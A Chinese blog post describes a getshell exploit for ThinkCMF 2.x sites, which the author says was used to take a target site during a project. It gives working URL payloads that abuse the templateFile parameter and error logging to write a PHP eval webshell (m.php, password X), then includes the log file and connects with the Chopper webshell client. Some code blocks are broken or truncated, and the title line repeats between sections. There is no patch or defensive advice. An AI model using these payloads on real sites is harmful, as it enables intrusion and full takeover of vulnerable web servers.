看黑客如何挖出了 thinkmsf最新的getshell漏洞

前一阵子接到个项目,目标站是thinkCMF2.X搭建的,试过网上很多方法无法拿下,本地搭了个环境测试了下,最终成功拿下

由于thinkcmf2.x使用了thinkphp3.x作为开发框架,默认情况下启用了报错日志并且开启了模板缓存,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马m.php

日志文件格式为YY_MM_DD.log,如当前日期为2019年12月12日,日志文件为19_12_12.log,完整路径为

<code>data/runtime/Logs/Portal/

19

_12_12.

log

/<code>


测试成功的环境

Linux

宝塔[PHP7.2]

Windwos

PHPstudy PHP7.1

Payload1:

首先访问

<code>http:

//xxxx

.com/?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+

eval

($_POST[%22X%22])%3b%3F%3E%27);

die

();?%3E/<code>


看黑客如何挖出了 thinkmsf最新的getshell漏洞


然后请求

<code>

http

:/<code>


看黑客如何挖出了 thinkmsf最新的getshell漏洞

即可在http://xxxxx.com/根目录生成m.php文件,密码是X


看黑客如何挖出了 thinkmsf最新的getshell漏洞

Payload2

<code>

http

://xxx.com/?a=display&templateFile=

%3

C

%3

F

%70

%68

%70

%20

%65

%76

%61

%6

C

%28

%24

%5

F

%50

%4

F

%53

%54

%5

BX

%5

D

%29

%3

B

%3

F

%3

E/<code>

然后菜刀连接

<code>

http

:/<code>

密码同样是X


分享到:


相關文章: